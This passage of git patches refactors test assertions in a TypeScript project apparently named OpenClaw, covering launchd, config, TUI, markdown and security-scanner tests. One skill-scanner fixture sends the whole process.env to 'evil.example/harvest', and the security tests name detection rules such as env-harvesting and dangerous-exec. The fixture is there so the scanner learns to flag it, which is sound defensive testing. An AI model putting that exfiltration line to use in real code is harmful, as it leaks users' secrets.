call[0] === "kickstart")).toBe(false); + expect(launchctlCommandNames()).not.toContain("kickstart"); }); it("returns a typed kickstart failure when already-loaded recovery cannot nudge the service", async () => { @@ -637,8 +641,8 @@ describe("launchd install", () => { const domain = typeof process.getuid === "function" ? `gui/${process.getuid()}` : "gui/501"; const serviceId = `${domain}/ai.openclaw.gateway`; expect(state.launchctlCalls).toContainEqual(["bootout", serviceId]); - expect(state.launchctlCalls.some((call) => call[0] === "disable")).toBe(false); - expect(state.launchctlCalls.some((call) => call[0] === "stop")).toBe(false); + expect(launchctlCommandNames()).not.toContain("disable"); + expect(launchctlCommandNames()).not.toContain("stop"); expect(output).toContain("Stopped LaunchAgent"); }); @@ -656,7 +660,7 @@ describe("launchd install", () => { const serviceId = `${domain}/ai.openclaw.gateway`; expect(state.launchctlCalls).toContainEqual(["disable", serviceId]); expect(state.launchctlCalls).toContainEqual(["stop", "ai.openclaw.gateway"]); - expect(state.launchctlCalls.some((call) => call[0] === "bootout")).toBe(false); + expect(launchctlCommandNames()).not.toContain("bootout"); expect(output).toContain("Stopped LaunchAgent"); }); @@ -678,7 +682,7 @@ describe("launchd install", () => { "disable", `${typeof process.getuid === "function" ? `gui/${process.getuid()}` : "gui/501"}/ai.openclaw.gateway`, ]); - expect(state.launchctlCalls.some((call) => call[0] === "bootout")).toBe(false); + expect(launchctlCommandNames()).not.toContain("bootout"); expect(output).toContain("Stopped LaunchAgent"); expect(output).not.toContain("degraded"); }); @@ -695,7 +699,7 @@ describe("launchd install", () => { await stopLaunchAgent({ env, stdout }); - expect(state.launchctlCalls.some((call) => call[0] === "disable")).toBe(false); + expect(launchctlCommandNames()).not.toContain("disable"); expect(output).toContain("Stopped LaunchAgent"); expect(output).not.toContain("degraded"); }); @@ -711,8 +715,8 @@ describe("launchd install", () => { await stopLaunchAgent({ env, stdout, disable: true }); - expect(state.launchctlCalls.some((call) => call[0] === "stop")).toBe(false); - expect(state.launchctlCalls.some((call) => call[0] === "bootout")).toBe(true); + expect(launchctlCommandNames()).not.toContain("stop"); + expect(launchctlCommandNames()).toContain("bootout"); expect(output).toContain("Stopped LaunchAgent (degraded)"); expect(output).toContain("used bootout fallback"); }); @@ -728,8 +732,8 @@ describe("launchd install", () => { await runStopLaunchAgentWithFakeTimers({ env, stdout, disable: true }); - expect(state.launchctlCalls.some((call) => call[0] === "stop")).toBe(true); - expect(state.launchctlCalls.some((call) => call[0] === "bootout")).toBe(true); + expect(launchctlCommandNames()).toContain("stop"); + expect(launchctlCommandNames()).toContain("bootout"); expect(output).toContain("Stopped LaunchAgent (degraded)"); expect(output).toContain("did not fully stop the service"); }); @@ -746,7 +750,7 @@ describe("launchd install", () => { await runStopLaunchAgentWithFakeTimers({ env, stdout, disable: true }); - expect(state.launchctlCalls.some((call) => call[0] === "bootout")).toBe(true); + expect(launchctlCommandNames()).toContain("bootout"); expect(output).toContain("Stopped LaunchAgent (degraded)"); expect(output).toContain("did not fully stop the service"); }); @@ -762,7 +766,7 @@ describe("launchd install", () => { await stopLaunchAgent({ env, stdout, disable: true }); - expect(state.launchctlCalls.some((call) => call[0] === "bootout")).toBe(true); + expect(launchctlCommandNames()).toContain("bootout"); expect(output).toContain("Stopped LaunchAgent (degraded)"); expect(output).toContain("launchctl stop failed; used bootout fallback"); }); @@ -779,7 +783,7 @@ describe("launchd install", () => { await runStopLaunchAgentWithFakeTimers({ env, stdout, disable: true }); - expect(state.launchctlCalls.some((call) => call[0] === "bootout")).toBe(true); + expect(launchctlCommandNames()).toContain("bootout"); expect(output).toContain("Stopped LaunchAgent (degraded)"); expect(output).toContain("could not confirm stop"); }); @@ -805,8 +809,8 @@ describe("launchd install", () => { await expect(stopLaunchAgent({ env, stdout: new PassThrough() })).rejects.toThrow( "launchctl bootout failed: launchctl bootout permission denied", ); - expect(state.launchctlCalls.some((call) => call[0] === "disable")).toBe(false); - expect(state.launchctlCalls.some((call) => call[0] === "stop")).toBe(false); + expect(launchctlCommandNames()).not.toContain("disable"); + expect(launchctlCommandNames()).not.toContain("stop"); }); it("sanitizes launchctl details before writing warnings (--disable)", async () => { @@ -842,8 +846,8 @@ describe("launchd install", () => { expect(cleanStaleGatewayProcessesSync).toHaveBeenCalledWith(18789); expect(state.launchctlCalls).toContainEqual(["enable", serviceId]); expect(state.launchctlCalls).toContainEqual(["kickstart", "-k", serviceId]); - expect(state.launchctlCalls.some((call) => call[0] === "bootout")).toBe(false); - expect(state.launchctlCalls.some((call) => call[0] === "bootstrap")).toBe(false); + expect(launchctlCommandNames()).not.toContain("bootout"); + expect(launchctlCommandNames()).not.toContain("bootstrap"); }); it("uses the configured gateway port for stale cleanup", async () => { @@ -889,10 +893,10 @@ describe("launchd install", () => { ); expect(result).toEqual({ outcome: "completed" }); - expect(state.launchctlCalls.some((call) => call[0] === "enable")).toBe(true); - expect(state.launchctlCalls.some((call) => call[0] === "bootstrap")).toBe(true); + expect(launchctlCommandNames()).toContain("enable"); + expect(launchctlCommandNames()).toContain("bootstrap"); expect(kickstartCalls).toHaveLength(1); - expect(state.launchctlCalls.some((call) => call[0] === "bootout")).toBe(false); + expect(launchctlCommandNames()).not.toContain("bootout"); }); it("surfaces the original kickstart failure when the service is still loaded", async () => { @@ -902,8 +906,8 @@ describe("launchd install", () => { await expectRestartLaunchAgentKickstartFailure(env); - expect(state.launchctlCalls.some((call) => call[0] === "enable")).toBe(true); - expect(state.launchctlCalls.some((call) => call[0] === "bootstrap")).toBe(false); + expect(launchctlCommandNames()).toContain("enable"); + expect(launchctlCommandNames()).not.toContain("bootstrap"); }); it("re-bootstraps when kickstart failure leaves the service unloaded (#52208)", async () => { @@ -914,8 +918,8 @@ describe("launchd install", () => { await expectRestartLaunchAgentKickstartFailure(env); - expect(state.launchctlCalls.some((call) => call[0] === "enable")).toBe(true); - expect(state.launchctlCalls.some((call) => call[0] === "bootstrap")).toBe(true); + expect(launchctlCommandNames()).toContain("enable"); + expect(launchctlCommandNames()).toContain("bootstrap"); }); it("skips re-bootstrap when kickstart fails but service is still loaded (#52208)", async () => { @@ -925,8 +929,8 @@ describe("launchd install", () => { await expectRestartLaunchAgentKickstartFailure(env); - expect(state.launchctlCalls.some((call) => call[0] === "enable")).toBe(true); - expect(state.launchctlCalls.some((call) => call[0] === "bootstrap")).toBe(false); + expect(launchctlCommandNames()).toContain("enable"); + expect(launchctlCommandNames()).not.toContain("bootstrap"); }); it("hands restart off to a detached helper when invoked from the current LaunchAgent", async () => { From 3e49a00555da429edcd9e2f324b8959ec3306d0a Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:11:03 +0100 Subject: [PATCH 129/174] test: clarify config legacy issue assertions --- src/config/config-misc.test.ts | 44 ++++++++++++++++++++++------------ 1 file changed, 29 insertions(+), 15 deletions(-) diff --git a/src/config/config-misc.test.ts b/src/config/config-misc.test.ts index 2fafdca4c6e..5aed93cf213 100644 --- a/src/config/config-misc.test.ts +++ b/src/config/config-misc.test.ts @@ -39,6 +39,14 @@ const nonBooleanConfigCases = [ }, ]; +function issuePaths(issues: Array<{ path: string }>): string[] { + return issues.map((issue) => issue.path); +} + +function issueMessages(issues: Array<{ message: string }>): string[] { + return issues.map((issue) => issue.message); +} + describe("boolean config validation", () => { it.each(nonBooleanConfigCases)("rejects non-boolean values for $name", ({ config }) => { const result = OpenClawSchema.safeParse(config); @@ -986,8 +994,10 @@ describe("config strict validation", () => { const snap = await readConfigFileSnapshot(); expect(snap.valid).toBe(false); - expect(snap.issues.some((issue) => issue.message.includes('"memorySearch"'))).toBe(true); - expect(snap.legacyIssues.some((issue) => issue.path === "memorySearch")).toBe(true); + expect(issueMessages(snap.issues)).toEqual( + expect.arrayContaining([expect.stringContaining('"memorySearch"')]), + ); + expect(issuePaths(snap.legacyIssues)).toContain("memorySearch"); expect((snap.sourceConfig as { memorySearch?: unknown }).memorySearch).toMatchObject({ provider: "local", fallback: "none", @@ -1009,8 +1019,10 @@ describe("config strict validation", () => { const snap = await readConfigFileSnapshot(); expect(snap.valid).toBe(false); - expect(snap.issues.some((issue) => issue.message.includes('"heartbeat"'))).toBe(true); - expect(snap.legacyIssues.some((issue) => issue.path === "heartbeat")).toBe(true); + expect(issueMessages(snap.issues)).toEqual( + expect.arrayContaining([expect.stringContaining('"heartbeat"')]), + ); + expect(issuePaths(snap.legacyIssues)).toContain("heartbeat"); expect((snap.sourceConfig as { heartbeat?: unknown }).heartbeat).toMatchObject({ every: "30m", model: "anthropic/claude-3-5-haiku-20241022", @@ -1032,8 +1044,10 @@ describe("config strict validation", () => { const snap = await readConfigFileSnapshot(); expect(snap.valid).toBe(false); - expect(snap.issues.some((issue) => issue.message.includes('"heartbeat"'))).toBe(true); - expect(snap.legacyIssues.some((issue) => issue.path === "heartbeat")).toBe(true); + expect(issueMessages(snap.issues)).toEqual( + expect.arrayContaining([expect.stringContaining('"heartbeat"')]), + ); + expect(issuePaths(snap.legacyIssues)).toContain("heartbeat"); expect((snap.sourceConfig as { heartbeat?: unknown }).heartbeat).toMatchObject({ showOk: true, showAlerts: false, @@ -1057,7 +1071,7 @@ describe("config strict validation", () => { }; const issues = findLegacyConfigIssues(raw); - expect(issues.some((issue) => issue.path === "messages.tts")).toBe(true); + expect(issuePaths(issues)).toContain("messages.tts"); expect(raw.messages.tts.elevenlabs).toEqual({ apiKey: "test-key", voiceId: "voice-1", @@ -1088,12 +1102,12 @@ describe("config strict validation", () => { const snap = await readConfigFileSnapshot(); expect(snap.valid).toBe(false); - expect(snap.issues.some((issue) => issue.path === "agents.defaults.sandbox")).toBe(true); - expect(snap.issues.some((issue) => issue.path === "agents.list.0.sandbox")).toBe(true); - expect(snap.legacyIssues.some((issue) => issue.path === "agents.defaults.sandbox")).toBe( - true, + expect(issuePaths(snap.issues)).toEqual( + expect.arrayContaining(["agents.defaults.sandbox", "agents.list.0.sandbox"]), + ); + expect(issuePaths(snap.legacyIssues)).toEqual( + expect.arrayContaining(["agents.defaults.sandbox", "agents.list"]), ); - expect(snap.legacyIssues.some((issue) => issue.path === "agents.list")).toBe(true); expect(snap.sourceConfig.agents?.defaults?.sandbox).toEqual({ perSession: true }); expect(snap.sourceConfig.agents?.list?.[0]?.sandbox).toEqual({ perSession: false }); }); @@ -1111,7 +1125,7 @@ describe("config strict validation", () => { const snap = await readConfigFileSnapshot(); expect(snap.valid).toBe(false); expect(snap.legacyIssues).toHaveLength(0); - expect(snap.issues.some((issue) => issue.path === "gateway.bind")).toBe(true); + expect(issuePaths(snap.issues)).toContain("gateway.bind"); } finally { if (prev === undefined) { delete process.env.OPENCLAW_BIND; @@ -1130,8 +1144,8 @@ describe("config strict validation", () => { const snap = await readConfigFileSnapshot(); expect(snap.valid).toBe(false); - expect(snap.issues.some((issue) => issue.path === "gateway.bind")).toBe(true); - expect(snap.legacyIssues.some((issue) => issue.path === "gateway.bind")).toBe(true); + expect(issuePaths(snap.issues)).toContain("gateway.bind"); + expect(issuePaths(snap.legacyIssues)).toContain("gateway.bind"); }); }); }); From a1244d6108c58a1fd279ec34a50155c6fa12a279 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:12:46 +0100 Subject: [PATCH 130/174] test: clarify qa browser runtime env assertion --- .../qa-lab/src/mantis/desktop-browser-smoke.runtime.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/extensions/qa-lab/src/mantis/desktop-browser-smoke.runtime.test.ts b/extensions/qa-lab/src/mantis/desktop-browser-smoke.runtime.test.ts index 2256ba383f4..c103b8d8114 100644 --- a/extensions/qa-lab/src/mantis/desktop-browser-smoke.runtime.test.ts +++ b/extensions/qa-lab/src/mantis/desktop-browser-smoke.runtime.test.ts @@ -79,7 +79,7 @@ describe("mantis desktop browser smoke runtime", () => { ["rsync", "-az"], ["/tmp/crabbox", "stop"], ]); - expect(commands.every((entry) => entry.env === runtimeEnv)).toBe(true); + expect(commands.map((entry) => entry.env)).toEqual(commands.map(() => runtimeEnv)); const rsyncArgs = commands.find((entry) => entry.command === "rsync")?.args ?? []; expect(rsyncArgs).not.toContain("--delete"); expect(rsyncArgs).toEqual(expect.arrayContaining(["--exclude", "chrome-profile/**"])); From 1aa9f6d3e1c44a834c96905ee251e3318e56bf2b Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:14:38 +0100 Subject: [PATCH 131/174] test: clarify qa lab server assertions --- extensions/qa-lab/src/lab-server.test.ts | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/extensions/qa-lab/src/lab-server.test.ts b/extensions/qa-lab/src/lab-server.test.ts index 0aa5c0e3c45..c6a44ad1d82 100644 --- a/extensions/qa-lab/src/lab-server.test.ts +++ b/extensions/qa-lab/src/lab-server.test.ts @@ -290,7 +290,7 @@ describe("qa-lab server", () => { expect(bootstrap.controlUiEmbeddedUrl).toBe("http://127.0.0.1:18789/#token=qa-token"); expect(bootstrap.kickoffTask).toContain("Lobster Invaders"); expect(bootstrap.scenarios.length).toBeGreaterThanOrEqual(10); - expect(bootstrap.scenarios.some((scenario) => scenario.id === "dm-chat-baseline")).toBe(true); + expect(bootstrap.scenarios.map((scenario) => scenario.id)).toContain("dm-chat-baseline"); expect(bootstrap.runner.status).toBe("idle"); expect(bootstrap.runner.selection.providerMode).toBe("live-frontier"); expect(bootstrap.runner.selection.scenarioIds).toHaveLength(bootstrap.scenarios.length); @@ -314,7 +314,7 @@ describe("qa-lab server", () => { const snapshot = (await stateResponse.json()) as { messages: Array<{ direction: string; text: string }>; }; - expect(snapshot.messages.some((message) => message.text === "hello from test")).toBe(true); + expect(snapshot.messages.map((message) => message.text)).toContain("hello from test"); await expect(readFile(outputPath, "utf8")).rejects.toThrow(); }); @@ -389,8 +389,8 @@ describe("qa-lab server", () => { ).json()) as { messages: Array<{ text: string }>; }; - expect(autoSnapshot.messages.some((message) => message.text.includes("QA mission:"))).toBe( - true, + expect(autoSnapshot.messages.map((message) => message.text)).toEqual( + expect.arrayContaining([expect.stringContaining("QA mission:")]), ); const manualLab = await startQaLabServerForTest({ @@ -412,9 +412,9 @@ describe("qa-lab server", () => { ).json()) as { messages: Array<{ text: string }>; }; - expect( - manualSnapshot.messages.some((message) => message.text.includes("Lobster Invaders")), - ).toBe(true); + expect(manualSnapshot.messages.map((message) => message.text)).toEqual( + expect.arrayContaining([expect.stringContaining("Lobster Invaders")]), + ); }); it("proxies control-ui paths through /control-ui", async () => { @@ -836,14 +836,14 @@ describe("qa-lab server", () => { const sessions = (await ( await fetchWithRetry(`${lab.baseUrl}/api/capture/sessions`) ).json()) as { sessions: Array<{ id: string }> }; - expect(sessions.sessions.some((session) => session.id === "qa-capture-session")).toBe(true); + expect(sessions.sessions.map((session) => session.id)).toContain("qa-capture-session"); const events = (await ( await fetchWithRetry(`${lab.baseUrl}/api/capture/events?sessionId=qa-capture-session`) ).json()) as { events: Array<{ flowId: string; provider?: string; model?: string; captureOrigin?: string }>; }; - expect(events.events.some((event) => event.flowId === "flow-1")).toBe(true); + expect(events.events.map((event) => event.flowId)).toContain("flow-1"); expect(events.events).toEqual( expect.arrayContaining([ expect.objectContaining({ From f9812e6cba5b0341bd1fd06012f86512b36a6170 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:16:07 +0100 Subject: [PATCH 132/174] test: clarify tui list assertions --- src/tui/components/searchable-select-list.test.ts | 2 +- src/tui/tui-command-handlers.test.ts | 2 +- src/tui/tui.test.ts | 7 ++++--- 3 files changed, 6 insertions(+), 5 deletions(-) diff --git a/src/tui/components/searchable-select-list.test.ts b/src/tui/components/searchable-select-list.test.ts index f5f5234c990..7e6011f4d08 100644 --- a/src/tui/components/searchable-select-list.test.ts +++ b/src/tui/components/searchable-select-list.test.ts @@ -60,7 +60,7 @@ describe("SearchableSelectList", () => { function expectNoMatchesForQuery(list: SearchableSelectList, query: string) { typeInput(list, query); const output = list.render(80); - expect(output.some((line) => line.includes("No matches"))).toBe(true); + expect(output).toEqual(expect.arrayContaining([expect.stringContaining("No matches")])); } function expectDescriptionVisibilityAtWidth(width: number, shouldContainDescription: boolean) { diff --git a/src/tui/tui-command-handlers.test.ts b/src/tui/tui-command-handlers.test.ts index 908af762758..b6b0d469991 100644 --- a/src/tui/tui-command-handlers.test.ts +++ b/src/tui/tui-command-handlers.test.ts @@ -179,7 +179,7 @@ describe("tui command handlers", () => { expect(setActivityStatus).toHaveBeenCalledWith("sending"); const sendingOrder = setActivityStatus.mock.invocationCallOrder[0] ?? 0; const renderOrders = requestRender.mock.invocationCallOrder; - expect(renderOrders.some((order) => order > sendingOrder)).toBe(true); + expect(renderOrders.filter((order) => order > sendingOrder)).not.toEqual([]); resolveSend({ runId: "r1" }); await pending; diff --git a/src/tui/tui.test.ts b/src/tui/tui.test.ts index 0f26dcf0525..5e502083460 100644 --- a/src/tui/tui.test.ts +++ b/src/tui/tui.test.ts @@ -71,13 +71,14 @@ describe("tui slash commands", () => { it("includes gateway text commands", () => { const commands = getSlashCommands({}); - expect(commands.some((command) => command.name === "context")).toBe(true); - expect(commands.some((command) => command.name === "commands")).toBe(true); + expect(commands.map((command) => command.name)).toEqual( + expect.arrayContaining(["context", "commands"]), + ); }); it("includes /auth in local embedded mode", () => { const commands = getSlashCommands({ local: true }); - expect(commands.some((command) => command.name === "auth")).toBe(true); + expect(commands.map((command) => command.name)).toContain("auth"); }); }); From a8dcbb26f89ee513301a3ec8b7875745714e96bd Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:17:15 +0100 Subject: [PATCH 133/174] test: clarify security audit assertions --- src/security/audit-config-symlink.test.ts | 12 ++++++------ src/security/audit-gateway-http-auth.test.ts | 2 +- src/security/audit-model-hygiene.test.ts | 2 +- 3 files changed, 8 insertions(+), 8 deletions(-) diff --git a/src/security/audit-config-symlink.test.ts b/src/security/audit-config-symlink.test.ts index e922b87ce85..3f377cc9acb 100644 --- a/src/security/audit-config-symlink.test.ts +++ b/src/security/audit-config-symlink.test.ts @@ -41,12 +41,12 @@ describe("security audit config symlink findings", () => { expect(findings).toEqual( expect.arrayContaining([expect.objectContaining({ checkId: "fs.config.symlink" })]), ); - expect(findings.some((finding) => finding.checkId === "fs.config.perms_writable")).toBe(false); - expect(findings.some((finding) => finding.checkId === "fs.config.perms_world_readable")).toBe( - false, - ); - expect(findings.some((finding) => finding.checkId === "fs.config.perms_group_readable")).toBe( - false, + expect(findings.map((finding) => finding.checkId)).not.toEqual( + expect.arrayContaining([ + "fs.config.perms_writable", + "fs.config.perms_world_readable", + "fs.config.perms_group_readable", + ]), ); }); }); diff --git a/src/security/audit-gateway-http-auth.test.ts b/src/security/audit-gateway-http-auth.test.ts index d4de3ec18b6..9b502cd4e54 100644 --- a/src/security/audit-gateway-http-auth.test.ts +++ b/src/security/audit-gateway-http-auth.test.ts @@ -82,7 +82,7 @@ describe("security audit gateway HTTP auth findings", () => { } } if (expectedNoFinding) { - expect(findings.some((entry) => entry.checkId === expectedNoFinding)).toBe(false); + expect(findings.map((entry) => entry.checkId)).not.toContain(expectedNoFinding); } }); }); diff --git a/src/security/audit-model-hygiene.test.ts b/src/security/audit-model-hygiene.test.ts index 6ceb7f31ddf..fc67db3d768 100644 --- a/src/security/audit-model-hygiene.test.ts +++ b/src/security/audit-model-hygiene.test.ts @@ -70,6 +70,6 @@ describe("security audit model hygiene findings", () => { }, } satisfies OpenClawConfig); - expect(findings.some((finding) => finding.checkId === "models.weak_tier")).toBe(false); + expect(findings.map((finding) => finding.checkId)).not.toContain("models.weak_tier"); }); }); From af8cf11e199b62eb1560a534ba258cf5a9da51a9 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:18:33 +0100 Subject: [PATCH 134/174] test: clarify security scanner assertions --- src/security/audit-extra.async.test.ts | 8 ++++++-- src/security/audit-workspace-skill-escape.test.ts | 4 ++-- 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/src/security/audit-extra.async.test.ts b/src/security/audit-extra.async.test.ts index f92a2bb8bbb..30d8db58066 100644 --- a/src/security/audit-extra.async.test.ts +++ b/src/security/audit-extra.async.test.ts @@ -160,7 +160,9 @@ description: test skill await fs.writeFile(path.join(pluginDir, "index.js"), "export {};"); const findings = await collectPluginsCodeSafetyFindings({ stateDir: tmpDir }); - expect(findings.some((f) => f.checkId === "plugins.code_safety.entry_escape")).toBe(true); + expect(findings.map((finding) => finding.checkId)).toContain( + "plugins.code_safety.entry_escape", + ); }); it("ignores install backup and debris dirs when scanning installed plugin roots", async () => { @@ -255,7 +257,9 @@ description: test skill await fs.writeFile(path.join(pluginDir, "index.js"), "export {};"); const findings = await collectPluginsCodeSafetyFindings({ stateDir: tmpDir }); - expect(findings.some((f) => f.checkId === "plugins.code_safety.scan_failed")).toBe(true); + expect(findings.map((finding) => finding.checkId)).toContain( + "plugins.code_safety.scan_failed", + ); } finally { scanSpy.mockRestore(); } diff --git a/src/security/audit-workspace-skill-escape.test.ts b/src/security/audit-workspace-skill-escape.test.ts index 25e5ce8aad1..28c319dd33e 100644 --- a/src/security/audit-workspace-skill-escape.test.ts +++ b/src/security/audit-workspace-skill-escape.test.ts @@ -66,8 +66,8 @@ describe("security audit workspace skill path escape findings", () => { const findings = await collectWorkspaceSkillSymlinkEscapeFindings({ cfg: { agents: { defaults: { workspace: workspaceDir } } } satisfies OpenClawConfig, }); - expect(findings.some((entry) => entry.checkId === "skills.workspace.symlink_escape")).toBe( - false, + expect(findings.map((entry) => entry.checkId)).not.toContain( + "skills.workspace.symlink_escape", ); })(), ]; From 84212d58b8800d3469d9c7dec3b5a98f65da0aea Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:19:53 +0100 Subject: [PATCH 135/174] test: clarify skill scanner assertions --- src/security/skill-scanner.test.ts | 25 +++++++++++++++---------- 1 file changed, 15 insertions(+), 10 deletions(-) diff --git a/src/security/skill-scanner.test.ts b/src/security/skill-scanner.test.ts index 64c22171da2..193fd8e2c91 100644 --- a/src/security/skill-scanner.test.ts +++ b/src/security/skill-scanner.test.ts @@ -35,13 +35,13 @@ function expectScanRule( ) { const findings = scanSource(source, "plugin.ts"); expect( - findings.some( + findings.filter( (finding) => finding.ruleId === expected.ruleId && (expected.severity == null || finding.severity === expected.severity) && (expected.messageIncludes == null || finding.message.includes(expected.messageIncludes)), ), - ).toBe(true); + ).not.toEqual([]); } function writeFixtureFiles(root: string, files: Record) { @@ -69,7 +69,12 @@ function mockStatPermissionDeniedFor(filePath: string) { } function expectRulePresence(findings: { ruleId: string }[], ruleId: string, expected: boolean) { - expect(findings.some((finding) => finding.ruleId === ruleId)).toBe(expected); + const ruleIds = findings.map((finding) => finding.ruleId); + if (expected) { + expect(ruleIds).toContain(ruleId); + } else { + expect(ruleIds).not.toContain(ruleId); + } } async function runNamedCase(name: string, run: () => void | Promise) { @@ -252,7 +257,7 @@ import type { ExecOptions } from "child_process"; const options: ExecOptions = { timeout: 5000 }; `; const findings = scanSource(source, "plugin.ts"); - expect(findings.some((f) => f.ruleId === "dangerous-exec")).toBe(false); + expectRulePresence(findings, "dangerous-exec", false); }); it("does not flag RegExp.exec when child_process appears elsewhere", () => { @@ -262,7 +267,7 @@ const options: ExecOptions = {}; const match = /^keychain:(.+)$/.exec(value); `; const findings = scanSource(source, "plugin.ts"); - expect(findings.some((f) => f.ruleId === "dangerous-exec")).toBe(false); + expectRulePresence(findings, "dangerous-exec", false); }); it("does not use full-line comments as source-rule context", () => { @@ -271,7 +276,7 @@ const env = process.env; // fetch() can reach the endpoint later. `; const findings = scanSource(source, "plugin.ts"); - expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(false); + expectRulePresence(findings, "env-harvesting", false); }); it("does not use inline or block comments as source-rule context", () => { @@ -283,7 +288,7 @@ const env = process.env; // fetch("https://example.invalid") const url = "https://example.com/path//segment"; `; const findings = scanSource(source, "plugin.ts"); - expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(false); + expectRulePresence(findings, "env-harvesting", false); }); it("returns empty array for clean plugin code", () => { @@ -314,7 +319,7 @@ async function closeFetchHandles() { } `; const findings = scanSource(source, "plugin.ts"); - expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(false); + expectRulePresence(findings, "env-harvesting", false); }); it("does not flag ordinary env defaults when network sends are elsewhere in a bundled file", () => { @@ -330,7 +335,7 @@ export async function sendMessage(rest, channelId, data) { } `; const findings = scanSource(source, "provider-bundle.js"); - expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(false); + expectRulePresence(findings, "env-harvesting", false); }); it("still flags local process.env sends", () => { @@ -339,7 +344,7 @@ const env = process.env; await fetch("https://evil.example/harvest", { method: "POST", body: JSON.stringify(env) }); `; const findings = scanSource(source, "plugin.ts"); - expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(true); + expectRulePresence(findings, "env-harvesting", true); }); }); From ba675d89647671a3b6f486593aad8d45422be83b Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:21:23 +0100 Subject: [PATCH 136/174] test: clarify secrets warning assertion --- src/secrets/runtime-config-collectors-plugins.test.ts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/secrets/runtime-config-collectors-plugins.test.ts b/src/secrets/runtime-config-collectors-plugins.test.ts index 68037828e3b..34a6d29d5b3 100644 --- a/src/secrets/runtime-config-collectors-plugins.test.ts +++ b/src/secrets/runtime-config-collectors-plugins.test.ts @@ -75,8 +75,8 @@ function collectAcpxConfigAssignments(config: OpenClawConfig): ResolverContext { function expectInactiveAcpxConfig(config: OpenClawConfig): void { const context = collectAcpxConfigAssignments(config); expect(context.assignments).toHaveLength(0); - expect(context.warnings.some((w) => w.code === "SECRETS_REF_IGNORED_INACTIVE_SURFACE")).toBe( - true, + expect(context.warnings.map((warning) => warning.code)).toContain( + "SECRETS_REF_IGNORED_INACTIVE_SURFACE", ); } From d1630ced14431c3dbd180c1433f1389d99e0612e Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:22:56 +0100 Subject: [PATCH 137/174] test: clarify markdown assertion lists --- src/markdown/ir.table-bullets.test.ts | 24 ++++++++++++---------- src/markdown/render-aware-chunking.test.ts | 6 +++--- 2 files changed, 16 insertions(+), 14 deletions(-) diff --git a/src/markdown/ir.table-bullets.test.ts b/src/markdown/ir.table-bullets.test.ts index 358cb7eaca9..2cefd1c51de 100644 --- a/src/markdown/ir.table-bullets.test.ts +++ b/src/markdown/ir.table-bullets.test.ts @@ -53,7 +53,7 @@ describe("markdownToIR tableMode bullets", () => { expect(ir.text).toContain("| A | B |"); expect(ir.text).toContain("| 1 | 2 |"); expect(ir.text).not.toContain("•"); - expect(ir.styles.some((style) => style.style === "code_block")).toBe(false); + expect(ir.styles.map((style) => style.style)).not.toContain("code_block"); }); it("handles empty cells gracefully", () => { @@ -81,10 +81,11 @@ describe("markdownToIR tableMode bullets", () => { const ir = markdownToIR(md, { tableMode: "bullets" }); // Should have bold style for row label - const hasRowLabelBold = ir.styles.some( - (s) => s.style === "bold" && ir.text.slice(s.start, s.end) === "Row1", - ); - expect(hasRowLabelBold).toBe(true); + expect( + ir.styles + .filter((style) => style.style === "bold") + .map((style) => ir.text.slice(style.start, style.end)), + ).toContain("Row1"); }); it("renders tables as code blocks in code mode", () => { @@ -98,7 +99,7 @@ describe("markdownToIR tableMode bullets", () => { expect(ir.text).toContain("| A | B |"); expect(ir.text).toContain("| 1 | 2 |"); - expect(ir.styles.some((style) => style.style === "code_block")).toBe(true); + expect(ir.styles.map((style) => style.style)).toContain("code_block"); }); it("preserves inline styles and links in bullets mode", () => { @@ -110,10 +111,11 @@ describe("markdownToIR tableMode bullets", () => { const ir = markdownToIR(md, { tableMode: "bullets" }); - const hasItalic = ir.styles.some( - (s) => s.style === "italic" && ir.text.slice(s.start, s.end) === "Row", - ); - expect(hasItalic).toBe(true); - expect(ir.links.some((link) => link.href === "https://example.com")).toBe(true); + expect( + ir.styles + .filter((style) => style.style === "italic") + .map((style) => ir.text.slice(style.start, style.end)), + ).toContain("Row"); + expect(ir.links.map((link) => link.href)).toContain("https://example.com"); }); }); diff --git a/src/markdown/render-aware-chunking.test.ts b/src/markdown/render-aware-chunking.test.ts index 92b66ca89bc..5481f839554 100644 --- a/src/markdown/render-aware-chunking.test.ts +++ b/src/markdown/render-aware-chunking.test.ts @@ -31,7 +31,7 @@ describe("renderMarkdownIRChunksWithinLimit", () => { expect(chunks.map((chunk) => chunk.source.text)).toEqual(["alpha ", "<<"]); expect(chunks.map((chunk) => chunk.source.text).join("")).toBe("alpha <<"); - expect(chunks.every((chunk) => chunk.rendered.length <= 8)).toBe(true); + expect(chunks.filter((chunk) => chunk.rendered.length > 8)).toEqual([]); }); it("preserves formatting when a rendered chunk is re-split", () => { @@ -46,8 +46,8 @@ describe("renderMarkdownIRChunksWithinLimit", () => { }); expect(chunks.map((chunk) => chunk.source.text)).toEqual(["Which of ", "these"]); - expect(chunks.every((chunk) => chunk.rendered.startsWith(""))).toBe(true); - expect(chunks.every((chunk) => chunk.rendered.endsWith(""))).toBe(true); + expect(chunks.filter((chunk) => !chunk.rendered.startsWith(""))).toEqual([]); + expect(chunks.filter((chunk) => !chunk.rendered.endsWith(""))).toEqual([]); }); it("checks exact candidates instead of assuming rendered length is monotonic", () => { From 973adb0fe11ec20024e3874f46a1541f6473bce1 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:24:10 +0100 Subject: [PATCH 138/174] test: clarify infra offender assertions --- 